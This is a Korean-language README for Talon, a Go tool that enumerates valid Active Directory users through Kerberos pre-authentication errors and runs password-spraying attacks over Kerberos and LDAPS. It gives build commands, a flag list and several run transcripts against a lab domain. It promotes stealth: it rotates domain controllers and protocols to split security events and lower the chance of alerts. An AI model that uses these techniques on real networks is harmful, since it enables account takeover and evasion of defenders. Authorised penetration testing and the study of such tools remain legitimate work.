
Windows Active Directory 환경에서 Kerberos 및 LDAP 서비스를 대상으로 하는 비밀번호 추측 도구입니다.
Talon의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/Tylous/Talon을 참조하십시오.
Talon은 탐지되지 않고 자동화된 비밀번호 추측 공격을 수행하도록 설계된 도구입니다. Talon은 Kerberos를 사용하여 유효한 사용자를 식별하기 위해 사용자 목록을 열거할 수 있습니다. 또한 Kerberos 및 LDAPS(보안 LDAP) 서비스에 대해 비밀번호 추측 공격을 수행할 수 있습니다. Talon은 단일 도메인 컨트롤러 또는 여러 도메인 컨트롤러를 사용하여 이러한 공격을 수행할 수 있으며, 각 시도를 도메인 컨트롤러와 서비스(LDAP 또는 Kerberos) 간에 무작위로 전환합니다.
이 기술에 대한 자세한 내용은 다음 블로그에서 확인할 수 있습니다.
자신의 OS에 맞는 릴리스를 releases에서 다운로드하십시오.
Talon은 golang으로 개발되었습니다.
첫 번째 단계는 항상 그렇듯이 저장소를 클론하는 것입니다. Talon을 컴파일하기 전에 의존성을 설치해야 합니다. 의존성을 설치하려면 다음 명령어를 실행하십시오:
go get github.com/fatih/color
go get gopkg.in/jcmturner/gokrb5.v7/client
go get gopkg.in/jcmturner/gokrb5.v7/config
go get gopkg.in/jcmturner/gokrb5.v7/iana/etypeID
go get gopkg.in/ldap.v2
그런 다음 빌드하십시오
go build Talon.go
$ ./Talon -h
Usage of ./Talon:
-A float
Authentication attempts per lockout period (default 3)
-D string
Fully qualified domain to use
-E Enumerates which users are valid
-H string
Domain controller to connect to
-Hostfile string
File containing the list of domain controllers to connect to
-K Test against Kerberos only
-L Test against LDAP only
-Lockout float
Account lockout period in minutes (default 60)
-O string
File to append the results to
-P string
Password to use
-Passfile string
File containing the list of passwords
-U string
Username to authenticate as
-Userfile string
File containing the list of usernames
-debug
Print debug statements
-sleep float
Time inbetween attempts (default 0.5)
사용자 열거 모드는 -E 플래그로 실행할 수 있으며, 이 플래그는 대상 KDC에 Kerberos TGT 사전 인증 요청만 보냅니다. 단, 이 요청은 알려진 오류 또는 더 이상 지원되지 않는 암호화 유형으로 전송됩니다. Talon은 KDC의 응답을 검토하여 KDC_ERR_ETYPE_NOSUPP(사용자가 존재함을 나타냄) 또는 KDC_ERR_C_PRINCIPAL_UNKNOWN(존재하지 않음을 나타냄)으로 응답하는지 확인합니다. Talon은 -Hostfile 명령을 사용하여 여러 도메인 컨트롤러를 지정하거나 -H를 사용하여 단일 도메인 컨트롤러에서 이러한 유형의 열거를 수행할 수 있습니다. 이 기술을 사용하면 로그인 실패가 발생하지 않으므로 사용자가 잠기지 않습니다.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile Users -sleep 1 -E
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.195 STARLABS.LOCAL\asmith: = User Does Not Exist
[+] 172.16.144.185 STARLABS.LOCAL\ballen: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\bjohnson: = User Does Not Exist
[-] 172.16.144.195 STARLABS.LOCAL\bwayne: = User Does Not Exist
[+] 172.16.144.195 STARLABS.LOCAL\csnow: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\jtodd: = User Does Not Exist
[+] 172.16.144.186 STARLABS.LOCAL\hwells: = User Exist
[-] 172.16.144.186 STARLABS.LOCAL\wwest: = User's Account Locked
Talon은 인증을 위해 Active Directory에 통합된 Kerberos와 LDAP을 모두 활용합니다. Talon은 두 서비스를 번갈아 가며 비밀번호 추측을 수행하여 비밀번호 공격 트래픽을 두 프로토콜에 분산시킬 수 있습니다. 이로 인해 생성되는 잠재적 이벤트 수가 분할되어 경보 가능성이 줄어듭니다. Talon은 -Hostfile을 사용하여 엔터프라이즈의 여러 도메인 컨트롤러에 대해 비밀번호 공격을 분산시키고, 매번 LDAP과 Kerberos를 번갈아 사용하여 추가적인 은폐 계층을 만듭니다. 필요한 경우 -H 명령을 사용하여 단일 도메인 컨트롤러를 제공할 수 있습니다.
./Talon -D STARLABS.LOCAL -Hostfile DCs -Userfile ValidUsers -P "Not3vil" -sleep 1
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\admin:Not3vil = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Not3vil = Failed
[-] 172.16.144.195 STARLABS.LOCAL\cramon:Not3vil = Failed
[+] 172.16.144.185 STARLABS.LOCAL\hwells:Not3vil = Success
[-] 172.16.144.195 STARLABS.LOCAL\ssmith:Not3vil = Failed
Talon은 모든 상황에 맞게 유연하게 설계되었습니다. 결과적으로 Kerberos만 사용 가능한 경우 -K 플래그를 사용하여 Kerberos에 대해서만 공격하거나 -L 플래그를 사용하여 LDAP에 대해서만 공격하도록 설정할 수 있습니다.
Talon은 비밀번호 추측 공격을 수행하는 동안 응답을 읽기 위해 Kerberos와 LDAP을 모두 사용할 수 있습니다. Talon은 각 비밀번호 시도의 응답 코드를 읽어 활성 비밀번호 추측 공격 중 계정 잠금을 감지할 수 있습니다. 이는 엔터프라이즈 전반에 걸쳐 원치 않는 계정 잠금을 방지하는 데 도움이 되며, 탐지되지 않도록 유지하는 데 도움이 됩니다. 프롬프트에 따라 공격을 중단하거나 계속하면 됩니다.
root@kali:~# ./Talon -Hostfile DCs -Userfile ValidUsers -D STARLABS.local -P "Password!" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[-] 172.16.144.186 STARLABS.LOCAL\ballen:Password! = Failed
[-] 172.16.144.185 STARLABS.LOCAL\csnow:Password! = Failed
[-] 172.16.144.186 STARLABS.LOCAL\wwest:Password! = User's Account Locked
[*] Account lock out detected - Do you want to continue.[y/n]:
Talon은 대상 도메인 컨트롤러가 활성 상태인지 또는 사용할 수 없게 되었는지 감지하는 기능을 갖추고 있습니다. 이는 시간을 낭비하지 않고 정확한 결과를 얻을 수 있도록 보장합니다.
root@kali:~# ./Talon -H 172.14.15.1 -Userfile ValidUsers -D STARLABS.local -P "Frosty20" -sleep 2
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[Root cause: Networking_Error] Networking_Error: AS Exchange Error: failed sending AS_REQ to KDC: failed to communicate with KDC 172.14.15.1
[*] Do you want to continue.[y/n]:
Talon은 (-Passfile)을 사용하여 파일에 있는 가능한 비밀번호 목록에 대해 비밀번호 추측을 수행할 수 있습니다. 이는 매우 위험할 수 있으므로, Talon은 일정 횟수의 시도(-A) 후 지정된 시간(-Lockout) 동안 일시 중지하는 제어 기능을 갖추고 있습니다. 참고하십시오. 이러한 옵션을 사용하기 전에 비밀번호 정책을 아는 것이 중요합니다. 비밀번호 정책을 모르면 여러 비밀번호 시도를 대기시켜 계정을 잠글 수 있기 때문입니다.
./Talon -H 172.16.144.185 -Userfile users -Passfile Passwords -D STARLABS.local -Lockout 45 -A 2 -sleep 1.5
__________ ________ ___ ________ ________
|\___ _\\\ __ \|\ \ |\ __ \|\ ___ \
\|___ \ \_\ \ \|\ \ \ \ \ \ \|\ \ \ \\ \ \
\ \ \ \ \ __ \ \ \ \ \ \\\ \ \ \\ \ \
\ \ \ \ \ \ \ \ \ \____\ \ \\\ \ \ \\ \ \
\ \__\ \ \__\ \__\ \_______\ \_______\ \__\\ \__\
\|__| \|__|\|__|\|_______|\|_______|\|__| \|__|
(@Tyl0us)
[*] Warning: Selection option will spray multiple passwords and risk locking accounts. Do you want to continue? [y/n]: y
03-10-2022 15:58:21: Using password: Password123
[-] 172.16.144.185 STARLABS.LOCAL\admin:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Password123 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Password123 = Failed
03-10-2022 15:58:26: Using password: Spring2022
[-] 172.16.144.185 STARLABS.LOCAL\admin:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ballen:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\cramon:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\hwells:Spring2022 = Failed
[-] 172.16.144.185 STARLABS.LOCAL\ssmith:Spring2022 = Failed
Hit timeout period - Sleeping for 45 minutes...
Will resume at 03-10-2022 16:43:35